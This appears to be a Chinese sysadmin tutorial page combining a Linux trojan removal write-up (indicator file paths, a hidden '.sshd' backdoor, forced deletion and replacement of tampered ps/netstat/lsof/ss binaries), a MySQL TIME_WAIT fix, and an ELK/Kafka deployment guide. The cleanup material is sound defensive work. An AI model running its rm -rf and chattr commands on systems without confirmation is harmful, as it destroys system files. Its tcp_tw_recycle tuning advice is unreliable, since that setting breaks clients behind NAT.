服务器|云|数据中心

服务器|云主机|vps|站群

分类目录服务器教程

Linux 服务器中木马病毒及清除过程

一、背景

晚上看到有台服务器流量跑的很高,明显和平常不一样,流量达到了800Mbps,第一感觉应该是中木马了,被人当做肉鸡了,在大量发包。
我们的服务器为了最好性能,防火墙(iptables)什么的都没有开启,但是服务器前面有物理防火墙,而且机器都是做的端口映射,也不是常见的端口,按理来说应该是满安全的,可能最近和木马有缘吧,老是让我遇到,也趁这次机会把发现过程记录一下。

二、发现并追踪处理

1、查看流量图发现问题

查看的时候网页非常卡,有的时候甚至没有响应

wKiom1kv8JySnzsUAAFWYBBWvzU345.png

2、top动态查看进程

我马上远程登录出问题的服务器,远程操作很卡,网卡出去的流量非常大,通过top发现了一个异常的进程占用资源比较高,名字不仔细看还真以为是一个Web服务进程。

wKiom1kv8SOgNHOXAAV0WOF4Ebs322.png

4、结束异常进程并继续追踪

killall -9 nginx1
rm -f /etc/nginx1

干掉进程之后,流量立刻下来了,远程也不卡顿了,难道删掉程序文件,干掉异常进程我们就认为处理完成了么?想想也肯定没那么简单的,这个是木马啊,肯定还会自己生成程序文件(果然不出我所料,在我没有搞清楚之前,后面确实又生成了)我们得继续追查。

5、查看登录记录及日志文件secure

通过命令last查看账户登录记录,一切正常。查看系统文件message并没有发现什么,但是当我查看secure文件的时候发现有些异常,反正是和认证有关的,应该是尝试连进来控制发包?

wKiom1kv8lKyLvyxAAUKol0KUic428.png

7、更多异常文件的发现

查看定时任务文件crontab并没有发现什么一次,然后查看系统启动文件rc.local,也没有什么异常,然后进入/etc/init.d目录查看,发现比较奇怪的脚本文件DbSecuritySpt、selinux。

wKioL1kv8oji8GzJAAOHxiKBQig035.png

三、木马手动清除

现在综合总结了大概步骤如下:

1、简单判断有无木马

#有无下列文件
cat /etc/rc.d/init.d/selinux
cat /etc/rc.d/init.d/DbSecuritySpt
ls /usr/bin/bsd-port
ls /usr/bin/dpkgd
#查看大小是否正常
ls -lh /bin/netstat
ls -lh /bin/ps
ls -lh /usr/sbin/lsof
ls -lh /usr/sbin/ss

2、上传如下命令到/root下

ps netstat ss lsof

3、删除如下目录及文件

rm -rf /usr/bin/dpkgd (ps netstat lsof ss)
rm -rf /usr/bin/bsd-port #木马程序
rm -f /usr/bin/.sshd #木马后门
rm -f /tmp/gates.lod
rm -f /tmp/moni.lod
rm -f /etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序)
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc4.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc5.d/S97DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux(默认是启动/usr/bin/bsd-port/getty)
rm -f /etc/rc.d/rc1.d/S99selinux
rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
rm -f /etc/rc.d/rc4.d/S99selinux
rm -f /etc/rc.d/rc5.d/S99selinux

4、找出异常程序并杀死

wKiom1kv8x_S4ylGAADhKRDYGvY584.png

5、删除含木马命令并重新安装(或者把上传的正常程序复制过去也行)

我自己重新安装好像不行,我是找的正常的机器复制的命令。

#ps
/root/chattr -i -a /bin/ps && rm /bin/ps -f
yum reinstall procps -y 或 cp /root/ps /bin
#netstat
/root/chattr -i -a /bin/netstat && rm /bin/netstat -f
yum reinstall net-tools -y 或 cp /root/netstat /bin
#lsof
/root/chattr -i -a /bin/lsof && rm /usr/sbin/lsof -f
yum reinstall lsof -y 或 cp /root/lsof /usr/sbin
#ss
/root/chattr -i -a /usr/sbin/ss && rm /usr/sbin/ss -f
yum -y reinstall iproute 或 cp /root/ss /usr/sbin

发现大量的TIME_WAIT解决办法

今天早上一上班,有同事就反映公司好几个网站都打不开,登陆数据库

服务器(windows),发现很卡,于是重启了下服务器,进入系统后,没过一会问题依旧,查看了下系统进程,发现mysql占用率达到99%,可以肯定的是mysql连接出现问题:

netstat -an

192.168.12.13:3306      192.168.12.12:30443      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30444      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30445      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30446      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30447      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30448      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30449      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30450      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30451      TIME_WAIT

192.168.12.13:3306      192.168.12.12:30452      TIME_WAIT

… …

根据TCP协议定义的3次握手断开连接规定,发起socket主动关闭的一方 socket将进入TIME_WAIT状态,TIME_WAIT状态将持续2个MSL(Max Segment Lifetime),在Windows下默认为4分钟,即240秒,TIME_WAIT状态下的socket不能被回收使用. 具体现象是对于一个处理大量短连接的服务器,如果是由服务器主动关闭客户端的连接,将导致服务器端存在大量的处于TIME_WAIT状态的socket, 甚至比处于Established状态下的socket多的多,严重影响服务器的处理能力,甚至耗尽可用的socket,停止服务. TIME_WAIT是TCP协议用以保证被重新分配的socket不会受到之前残留的延迟重发报文影响的机制,是必要的逻辑保证.
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,添加名为TcpTimedWaitDelay的
DWORD键,设置为60,以缩短TIME_WAIT的等待时间

 

登陆到web服务器(linux):

 

netstat -ae |grep mysql

tcp        0      0 aaaa:53045               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53044               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53051               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53050               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53049               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53048               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53055               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53054               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53053               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53052               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53059               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53058               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53057               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53056               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53063               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53062               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53061               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53060               192.168.12.3:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53067               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53066               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53065               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53064               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa53071               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53070               192.168.12.13:mysql           TIME_WAIT   root       0
tcp        0      0 aaaa:53069               192.168.12.13:mysql           TIME_WAIT   root       0
发现系统存在大量TIME_WAIT状态的连接,通过调整内核参数解决,

vi /etc/sysctl.conf

编辑文件,加入以下内容:
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_fin_timeout = 30

然后执行 /sbin/sysctl -p 让参数生效。

 

net.ipv4.tcp_syncookies = 1 表示开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;

net.ipv4.tcp_tw_reuse = 1 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,表示关闭;

net.ipv4.tcp_tw_recycle = 1 表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。

net.ipv4.tcp_fin_timeout 修改系統默认的 TIMEOUT 时间

 

修改之后,再用

netstat -ae|grep mysql

tcp        0      0 aaaa:50408               192.168.12.13:mysql           ESTABLISHED nobody     3224651
tcp        0      0 aaaa:50417               192.168.12.13:mysql           ESTABLISHED nobody     3224673
tcp        0      0 aaaa:50419               192.168.12.13:mysql           ESTABLISHED nobody     3224675

发现大量的TIME_WAIT 已不存在,mysql进程的占用率很快就降下来的,各网站访问正常!!

以上只是暂时的解决方法,最后仔细巡查发现是前天新上线的一个系统,程序代码中没有使用mysql.colse(),才导致大量的mysql  TIME_WAIT

ELK日志分析系统的搭建

一、环境准备

1.安装java环境:

yum install java-1.8.0-openjdk* -y

2.添加elk执行用户:

groupadd -g 77 elk
useradd -u 77 -g elk -d /home/elk -s /bin/bash elk

3.在 /etc/security/limits.conf 追加以下内容:

elk soft memlock unlimited
elk hard memlock unlimited
* soft nofile 65536
* hard nofile 131072

4.执行生效

sysctl -p

5.配置主机名

hostnamectl set-hostname monitor-elk
echo "10.135.3.135     monitor-elk" >> /etc/hosts

二、服务部署

1.服务端:

1)下载ELK相关的源码包:

wget "https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.2.2.tar.gz"
wget "https://artifacts.elastic.co/downloads/logstash/logstash-5.2.2.tar.gz"
wget "https://artifacts.elastic.co/downloads/kibana/kibana-5.2.2-linux-x86_64.tar.gz"
wget "http://mirror.bit.edu.cn/apache/kafka/0.10.2.0/kafka_2.12-0.10.2.0.tgz"
wget "http://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.4.9/zookeeper-3.4.9.tar.gz"

2)创建elk目录,并将以上源码包解压至该目录:

mkdir /usr/local/elk
mkdir -p /data/elasticsearch/
chown -R elk.elk /data/elasticsearch/
mkdir -p /data/{kafka,zookeeper}
mv logstash-5.2.2 logstash && mv kibana-5.2.2-linux-x86_64 kibana && mv elasticsearch-5.2.2 elasticsearch && mv filebeat-5.2.2-linux-x86_64 filebeat && mv kafka_2.12-0.10.2.0 kafka && mv zookeeper-3.4.9 zookeeper
chown -R elk.elk /usr/local/elk/

程序目录列表如下:

wKiom1kv347zpneSAAAg4WBDXiA266.png

3)修改以下程序的相应配置文件

①kibana:

[root@monitor-elk ~]# cat /usr/local/elk/kibana/config/kibana.yml |grep -v "^#\|^$"
server.host: "localhost"
elasticsearch.url: "http://localhost:9200"
elasticsearch.requestTimeout: 30000
logging.dest: /data/elk/logs/kibana.log
[root@monitor-elk ~]#

②elasticsearch:

[root@monitor-elk ~]# cat /usr/local/elk/elasticsearch/config/elasticsearch.yml |grep -v "^#\|^$"
node.name: node01
path.data: /data/elasticsearch/data
path.logs: /data/elk/logs/elasticsearch
bootstrap.memory_lock: true
network.host: 127.0.0.1
http.port: 9200
[root@monitor-elk ~]# /usr/local/elk/elasticsearch/config/jvm.options
#修改以下参数
-Xms1g
-Xmx1g

③logstash:

[root@monitor-elk ~]# cat /usr/local/elk/logstash/config/logs.yml
input {
    #使用kafka的数据作为日志数据源
    kafka
    {
        bootstrap_servers => ["127.0.0.1:9092"]
        topics => "beats"
        codec => json
    }
}

filter {
   #过滤数据,如果日志数据里面包含有该IP地址,将会被丢弃
   if [message] =~ "123.151.4.10" {
       drop{}
   }

# 转码,转成正常的url编码,如中文
#   urldecode {
#       all_fields => true
#   }

# nginx access
   #通过type来判断传入的日志类型
   if [type] == "hongbao-nginx-access" or [type] == "pano-nginx-access" or [type] == "logstash-nginx-access" {
    grok {
        #指定自定义的grok表达式路径
        patterns_dir => "./patterns"
        #指定自定义的正则表达式名称解析日志内容,拆分成各个字段
        match => { "message" => "%{NGINXACCESS}" }
        #解析完毕后,移除默认的message字段
        remove_field => ["message"]
    }
    #使用geoip库解析IP地址
    geoip {
        #指定解析后的字段作为数据源
        source => "clientip"
        fields => ["country_name", "ip", "region_name"]
    }
    date {
         #匹配日志内容里面的时间,如 05/Jun/2017:03:54:01 +0800
         match => ["timestamp","dd/MMM/yyyy:HH:mm:ss Z"]
         #将匹配到的时间赋值给@timestamp字段
         target => "@timestamp"
         remove_field => ["timestamp"]
    }
   }

#  tomcat access
  if [type] == "hongbao-tomcat-access" or [type] == "ljq-tomcat-access" {
    grok {
        patterns_dir => "./patterns"
        match => { "message" => "%{TOMCATACCESS}" }
        remove_field => ["message"]
    }
    geoip {
        source => "clientip"
        fields => ["country_name", "ip", "region_name"]
    }
    date {
         match => ["timestamp","dd/MMM/yyyy:HH:mm:ss Z"]
         target => "@timestamp"
         remove_field => ["timestamp"]
    }
   }

# tomcat catalina
  if [type] == "hongbao-tomcat-catalina" {
    grok {
     match => {
                "message" => "^(?<log_time>\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2},\d{3}) (?<level>\w*) (?<log_data>.+)"
            }        
        remove_field => ["message"]
    }
    date {
         match => ["log_time","yyyy-MM-dd HH:mm:ss,SSS"]
         target => "@timestamp"
         remove_field => ["log_time"]
    }
   }


}
 
output {

    #将解析失败的记录写入到指定的文件中
    if "_grokparsefailure" in [tags] {
        file {
             path => "/data/elk/logs/grokparsefailure-%{[type]}-%{+YYYY.MM}.log"
        }
    }
   
# nginx access
    #根据type日志类型分别输出到elasticsearch不同的索引
    if [type] == "hongbao-nginx-access" {
            #将处理后的结果输出到elasticsearch
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            #指定输出到当天的索引
            index => "hongbao-nginx-access-%{+YYYY.MM.dd}"
        }
    }

    if [type] == "pano-nginx-access" {
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            index => "pano-nginx-access-%{+YYYY.MM.dd}"
        }
    }

    if [type] == "logstash-nginx-access" {
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            index => "logstash-nginx-access-%{+YYYY.MM.dd}"
        }
    }


# tomcat access
    if [type] == "hongbao-tomcat-access" {
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            index => "hongbao-tomcat-access-%{+YYYY.MM.dd}"
        }
    }

    if [type] == "ljq-tomcat-access" {
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            index => "ljq-tomcat-access-%{+YYYY.MM.dd}"
        }
    }

# tomcat catalina
    if [type] == "hongbao-tomcat-catalina" {
        elasticsearch {
            hosts => ["127.0.0.1:9200"]
            index => "hongbao-tomcat-catalina-%{+YYYY.MM.dd}"
        }
    }

}
[root@monitor-elk ~]#

配置正则表达式
[root@monitor-elk ~]# cp /usr/local/elk/logstash/vendor/bundle/jruby/1.9/gems/logstash-patterns-core-4.0.2/patterns/grok-patterns /usr/local/elk/logstash/config/patterns
[root@monitor-elk  ~]# tail -5 /usr/local/elk/logstash/config/patterns
# Nginx
NGINXACCESS %{COMBINEDAPACHELOG} %{QS:x_forwarded_for}

# Tomcat
TOMCATACCESS %{COMMONAPACHELOG}
[root@monitor-elk ~]# chown elk.elk /usr/local/elk/logstash/config/patterns

4)配置zookeeper:

cp /usr/local/elk/zookeeper/conf/zoo_sample.cfg /usr/local/elk/zookeeper/conf/zoo.cfg

修改配置文件中的数据存储路径

vim /usr/local/elk/zookeeper/conf/zoo.cfg
dataDir=/data/zookeeper

备份并修改脚本 /usr/local/elk/zookeeper/bin/zkEnv.sh

修改以下变量的参数

wKioL1kv36CzMYfdAAATfRmqaQo176.png

ZOO_LOG_DIR="/data/zookeeper-logs"
ZOO_LOG4J_PROP="INFO,ROLLINGFILE"

备份并修改日志配置  /usr/local/elk/zookeeper/conf/log4j.properties

修改以下变量的参数

zookeeper.root.logger=INFO, ROLLINGFILE
log4j.appender.ROLLINGFILE=org.apache.log4j.DailyRollingFileAppender# 每天轮转日志

启动zookeeper:

/usr/local/elk/zookeeper/bin/zkServer.sh start

5)配置kafka:

修改配置文件 /usr/local/elk/kafka/config/server.properties 的以下参数

log.dirs=/data/kafka
zookeeper.connect=localhost:2181

备份并修改脚本 /usr/local/elk/kafka/bin/kafka-run-class.sh

在“base_dir=$(dirname $0)/.. ”的下一行追加LOG_DIR变量,并指定日志输出路径

wKioL1kv36_DkbLvAAAHxsOsZvM916.png

LOG_DIR=/data/kafka-logs

创建日志存储目录:

mkdir -p /data/kafka-logs
mkdir -p /data/elk/logs
chown -R elk.elk /data/elk/logs

启动kafka:

nohup /usr/local/elk/kafka/bin/kafka-server-start.sh /usr/local/elk/kafka/config/server.properties &>> /data/elk/logs/kafka.log &

需要注意的是主机名一定要有配置在/etc/hosts文件中,否则kafka会无法启动

[root@monitor-elk ~]# cat /etc/hosts
127.0.0.1  localhost  localhost.localdomain
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
10.135.3.135     monitor-elk

6)配置supervisor

①安装supervisor:

yum install supervisor -y

设置服务开机自启动(server程序也会一起启动):

systemctl enable supervisord.service

②修改配置

a.创建日志存储路径:

mkdir -p /data/supervisor
chown -R elk.elk /data/supervisor/

b.修改主配置文件 /etc/supervisord.conf

logfile=/data/supervisor/supervisord.log

c.创建elk程序对应的supervisor配置文件,并添加以下配置内容:

[root@monitor-elk ~]# cat /etc/supervisord.d/elk.ini 
[program:elasticsearch]
directory=/usr/local/elk/elasticsearch
command=su -c "/usr/local/elk/elasticsearch/bin/elasticsearch" elk
autostart=true
startsecs=5
autorestart=true
startretries=3
priority=10

[program:logstash]
directory=/usr/local/elk/logstash
command=/usr/local/elk/logstash/bin/logstash -f /usr/local/elk/logstash/config/logs.yml
user=elk
autostart=true
startsecs=5
autorestart=true
startretries=3
redirect_stderr=true
stdout_logfile=/data/elk/logs/logstash.log
stdout_logfile_maxbytes=1024MB
stdout_logfile_backups=10
priority=11

[program:kibana]
directory=/usr/local/elk/kibana
command=/usr/local/elk/kibana/bin/kibana
user=elk
autostart=true
startsecs=5
autorestart=true
startretries=3
priority=12
[root@monitor-elk ~]#

③启动supervisor:

systemctl start supervisord

查看程序进程和日志:

ps aux|grep -v grep|grep "elasticsearch\|logstash\|kibana"

tip:

重启配置的单个程序,如:

supervisorctl restart logstash

重启配置的所有程序:

supervisorctl restart all

重载配置(只重启配置变动的对应程序,其他配置未变动的程序不重启):

supervisorctl update

7)配置nginx

①安装nginx

yum install nginx -y

②配置nginx代理:

[root@monitor-elk ~]# cat /etc/nginx/conf.d/kibana.conf 
upstream kibana {
    server 127.0.0.1:5601 max_fails=3 fail_timeout=30s;
}
server {
    listen       8080;
    server_name  localhost;
    location / {
        proxy_pass http://kibana/;
        index index.html index.htm;
        #auth
        auth_basic "kibana Private";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }
 }
[root@monitor-elk ~]# grep listen /etc/nginx/nginx.conf
listen       8000 default_server;
listen       [::]:8000 default_server;
[root@monitor-elk ~]#

③创建nginx认证:

[root@monitor-elk ~]# yum install httpd -y
[root@monitor-elk ~]# htpasswd -cm /etc/nginx/.htpasswd elk
New password: 
Re-type new password: 
Adding password for user elk
[root@monitor-elk ~]# systemctl start nginx
[root@monitor-elk ~]# systemctl enable nginx

8)配置ik中文分词:

①安装maven:

wget "http://mirror.bit.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz"
tar -zxf apache-maven-3.3.9-bin.tar.gz
mv apache-maven-3.3.9 /usr/local/maven
echo "export MAVEN_HOME=/usr/local/maven" >> /etc/bashrc
echo "export PATH=$PATH:$MAVEN_HOME/bin" >> /etc/bashrc
. /etc/bashrc

②编译安装ik(注意下载对应版本):

wget "https://github.com/medcl/elasticsearch-analysis-ik/archive/v5.2.2.zip"
unzip v5.2.2.zip
cd elasticsearch-analysis-ik-5.2.2/
mvn package
mkdir /usr/local/elk/elasticsearch/plugins/ik
cp target/releases/elasticsearch-analysis-ik-5.2.2.zip /usr/local/elk/elasticsearch/plugins/ik/
cd /usr/local/elk/elasticsearch/plugins/ik/
unzip elasticsearch-analysis-ik-5.2.2.zip 
rm -f elasticsearch-analysis-ik-5.2.2.zip
chown -R elk.elk ../ik
supervisorctl restart elasticsearch

③创建索引模板:

要使用ik分词,需要在创建指定的索引前(不管是通过命令手动还是logstash配置来创建)先创建索引模板,否则使用默认的模板即可:

cd /usr/local/elk/logstash

创建并编辑文件 logstash.json ,添加以下内容:

{
    "order" : 1,
    "template" : "tomcatcat-*",
    "settings" : {
      "index" : {
        "refresh_interval" : "5s"
      }
    },
    "mappings" : {
      "_default_" : {
        "dynamic_templates" : [
          {
            "string_fields" : {
              "mapping" : {
                "norms" : false,
                "type" : "text",
                "analyzer": "ik_max_word",
                "search_analyzer": "ik_max_word"
              },
              "match_mapping_type" : "text",
              "match" : "*"
            }
          }
        ],
        "_all" : {
          "norms" : false,
          "enabled" : true
        },
        "properties" : {
          "@timestamp" : {
            "include_in_all" : false,
            "type" : "date"
          },
          "log_data": {
            "include_in_all" : true,
            "type" : "text",
            "analyzer": "ik_max_word",
            "search_analyzer": "ik_max_word",
            "boost" : 8
          },
          "@version" : {
            "include_in_all" : false,
            "type" : "keyword"
          }
        }
      }
    },
    "aliases" : { }
}'

添加完毕后,执行curl命令创建索引模板

curl -XPUT 'http://localhost:9200/_template/tomcatcat' -d @logstash.json

执行成功后会返回结果 {“acknowledged”:true}

④热更新配置:

有些词语ik无法识别分词,如公司名称、服务名称之类

curl -XGET 'http://localhost:9200/_analyze?pretty&analyzer=ik_smart' -d '
腾讯云'

wKioL1kv4OKSwqWbAAAt4h6s19k467.png

这时需要自己自定义词库,ik支持分词热更新的方式(不需要重启elasticsearch),每分钟自动检测一次

在nginx根路径下创建一个utf8格式的文本文件 ik.txt ,将自己需要分词的词语写入ik.txt,一行一词:

wKiom1kv4OyySlzBAAAUPbPmEOc619.png

然后修改/usr/local/elk/elasticsearch/plugins/ik/config/IKAnalyzer.cfg.xml

<!--用户可以在这里配置远程扩展字典 -->
<entry key="remote_ext_dict">http://127.0.0.1:8000/ik.txt</entry>

配置完毕重启elasticsearch,再次获取分词结果:

wKioL1kv4Pfyi6GRAAAe3TKqZ6E781.png

2.客户端:

1)下载filebeat:

wget "https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-5.2.2-linux-x86_64.tar.gz"

解压filebeat-5.2.2-linux-x86_64.tar.gz至/usr/local/elk/目录,并重命名为filebeat

mkdir /usr/local/elk/
mkdir -p /data/elk/logs/
echo "10.135.3.135     elk" >> /etc/hosts

2)配置filebeat:

[root@test2 filebeat]# cat logs.yml
filebeat.prospectors:
-
#指定需要监控的日志文件路径,可以使用*匹配
paths:
- /data/nginx/log/*_access.log
#指定文件的输入类型为log(默认)
input_type: log
#设定日志类型
document_type: pano-nginx-access
#从文件的末尾开始监控文件新增的内容,并按行依次发送
tail_files: true
#将日志内容输出到kafka
output.kafka:
hosts: ["10.135.3.135:9092"]
topic: beats
compression: Snappy
[root@test2 filebeat]#


[root@test3 filebeat]# cat logs.yml
filebeat.prospectors:
-
  paths:
    - /usr/local/tomcat/logs/*access_log.*.txt
  input_type: log
  document_type: hongbao-tomcat-access
  tail_files: true
-
 paths:
    - /usr/local/tomcat/logs/catalina.out
  input_type: log
  document_type: hongbao-tomcat-catalina
  #多行匹配模式,后接正则表达式,这里表示匹配时间,如 2017-06-05 10:00:00,713
  multiline.pattern: '^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2},\d{3}'
  #将未匹配到的行合并到上一行,如java的错误日志
  multiline.negate: true
  #将未匹配到的行添加到上一行的末尾
  multiline.match: after
  tail_files: true
output.kafka:
hosts: ["10.135.3.135:9092"]
topic: beats
compression: Snappy
[root@test3 filebeat]#

3)启动filebeat

nohup /usr/local/elk/filebeat/filebeat -e -c /usr/local/elk/filebeat/logs.yml -d "publish" &>> /data/elk/logs/filebeat.log &

三、kibana web端配置

1.浏览器访问kibana地址,并输入前面nginx设置的账号密码:

http://10.135.3.135:8080

在访问 Kibana 时,默认情况下将加载 Discover(发现) 页面,并选择默认的索引模式(logstash-*)。 time filter(时间过滤器)默认设置为 last 15 minutes(最近 15 分钟),搜索查询默认设置为 match-all(*)。

服务器资源状态页:

http://10.135.3.135:8080/status

2.建立索引模式

注意,索引模式的名称要和logstash的output生成的索引(也就是说必须存在于Elasticsearch中,而且必须包含有数据)进行匹配,如logstash-*可与logstash-20170330匹配,还可以匹配多个索引(所有以logstash-开头的索引)。

*匹配索引名称中的零个或多个字符

wKiom1kv4BDgdmN6AACzmgBupuc961.png

3.索引建立完毕后,点击Discover中的索引模式,即可看到Elasticsearch的日志数据

wKioL1kv4B_xtA09AACt4V0XcyY318.png

4.创建可视化图表

绘制可视化图表,将拆分出来的nginx或tomcat访问日志中的字段response状态码进行聚合显示,以图表的形式直观显示各状态码(如200、400等)的统计情况

1)点击 Visualize 中 Vertical Bar Charts(垂直条形图)

wKiom1kw3AyxxbESAACf5E2dYIE743.png

2)选择其中一个索引模式,如 pano-*

wKioL1kw3BaSQ3BVAABB7KSXVj4292.png

3)通过字段 response.keyword 指定 terms(词条)聚合,按从大到小的顺序来显示前五列状态码的总数数据,然后点击 Apply changes 图标wKioL1kw3CeT4C11AAABDob3DS0886.png生效。

图表中,X轴显示的是状态码,Y轴显示的是对应的状态码总数。

wKioL1kw3DPzpcrsAACJVIK1i6M668.png

4)最后点击右上角的 Save 保存,同时输入一个可视化的名称。

wKioL1kw3EuhXInxAAAT3ugW5C0375.png

5.创建仪表盘

可以将相同业务或类型的可视化对象,集中显示在同一个仪表盘中。

1)点击 add 添加可视化对象到仪表盘,

wKiom1kw3FjRpANSAAA2xs4qDbs257.png

2)点击创建好的可视化对象,将会排列在在仪表盘的窗口中。对其可视化对象的窗口大小进行合适的调整。

wKioL1kw3GSRnuqQAABHWKuoUIE212.png

3)添加和调整完毕后,点击右上角的 Save 保存,同时输入一个仪表盘的名称。

wKiom1k0xbfB2vU8AAAtpnYq_Lc843.png

4)显示的结果

wKioL1kw3Iejk5JpAABy5fEqGzs433.png

四、服务监控脚本

1.服务端

1)kafka

[root@monitor-elk  ~]# cat /usr/local/scripts/monitor_kafka.sh
#!/bin/bash
#
#############################################
# author:Ellen
# describes:Check kafka program
# version:v1.0
# updated:20170407
#############################################
#
# Configuration information
program_dir=/usr/local/elk/kafka
logfile=/usr/local/scripts/log/monitor_kafka.log
# Check executed user
if [ `whoami` != "root" ];then
echo "Please use root run script!!!"
exit 1
fi
# Check kafka program
num=`ps aux|grep -w $program_dir|grep -vw "grep\|vim\|vi\|mv\|scp\|cat\|dd\|tail\|head\|script\|ls\|echo\|sys_log\|logger\|tar\|rsync\|ssh"|wc -l`
if [ ${num} -eq 0 ];then
echo "[`date +'%F %T'`] [CRITICAL] Kafka program dost not start!!!"|tee -a $logfile
# Send alarm information
#cagent_tools是腾讯云服务器自带的报警插件,该插件可发送短信或邮箱告警,如不需要可注释
/usr/bin/cagent_tools alarm "Kafka program dost not start!!!"
echo "[`date +'%F %T'`] [  INFO  ] Begin start kafka program..."|tee -a $logfile
nohup /usr/local/elk/kafka/bin/kafka-server-start.sh /usr/local/elk/kafka/config/server.properties &>> /data/elk/logs/kafka.log &
if [ $? -eq 0 ];then
echo "[`date +'%F %T'`] [  INFO  ] Kafka program start successful."|tee -a $logfile
/usr/bin/cagent_tools alarm "Kafka program start successful"
exit 0
else
echo "[`date +'%F %T'`] [CRITICAL] Kafka program start failed!!!"|tee -a $logfile
/usr/bin/cagent_tools alarm "Kafka program start failed!!!Please handle it!!!"
exit 6
fi
else
echo "[`date +'%F %T'`] [  INFO  ] Kafka program is running..."|tee -a $logfile
exit 0
fi
[root@monitor-elk ~]#

2)zookeeper

[root@monitor-elk ~]# cat /usr/local/scripts/monitor_zookeeper.sh
#!/bin/bash
#
#############################################
# author:Ellen
# describes:Check zookeeper program
# version:v1.0
# updated:20170407
#############################################
#
# Configuration information
program_dir=/usr/local/elk/zookeeper
logfile=/usr/local/scripts/log/monitor_zookeeper.log
# Check executed user
if [ `whoami` != "root" ];then
echo "Please use root run script!!!"
exit 1
fi
# Check zookeeper program
num=`ps aux|grep -w $program_dir|grep -vw "grep\|vim\|vi\|mv\|scp\|cat\|dd\|tail\|head\|ls\|echo\|sys_log\|tar\|rsync\|ssh"|wc -l`
if [ ${num} -eq 0 ];then
echo "[`date +'%F %T'`] [CRITICAL] Zookeeper program dost not start!!!"|tee -a $logfile
# Send alarm information
/usr/bin/cagent_tools alarm "Zookeeper program dost not start!!!"
echo "[`date +'%F %T'`] [  INFO  ] Begin start zookeeper program..."|tee -a $logfile
/usr/local/elk/zookeeper/bin/zkServer.sh start
if [ $? -eq 0 ];then
echo "[`date +'%F %T'`] [  INFO  ] Zookeeper program start successful."|tee -a $logfile
/usr/bin/cagent_tools alarm "Zookeeper program start successful"
exit 0
else
echo "[`date +'%F %T'`] [CRITICAL] Zookeeper program start failed!!!"|tee -a $logfile
/usr/bin/cagent_tools alarm "Zookeeper program start failed!!!Please handle it!!!"
exit 6
fi
else
echo "[`date +'%F %T'`] [  INFO  ] Zookeeper program is running..."|tee -a $logfile
exit 0
fi
[root@monitor-elk ~]#

3)添加crontab定时任务

0-59/5 * * * * /usr/local/scripts/monitor_kafka.sh &> /dev/null
0-59/5 * * * * /usr/local/scripts/monitor_zookeeper.sh &> /dev/null

2.客户端:

[root@test2 ~]# cat /usr/local/scripts/monitor_filebeat.sh
#!/bin/bash
#
#############################################
# author:Ellen
# describes:Check filebeat program
# version:v1.0
# updated:20170407
#############################################
#
# Configuration information
program_dir=/usr/local/elk/filebeat
logfile=/usr/local/scripts/log/monitor_filebeat.log
# Check executed user
if [ `whoami` != "root" ];then
echo "Please use root run script!!!"
exit 1
fi
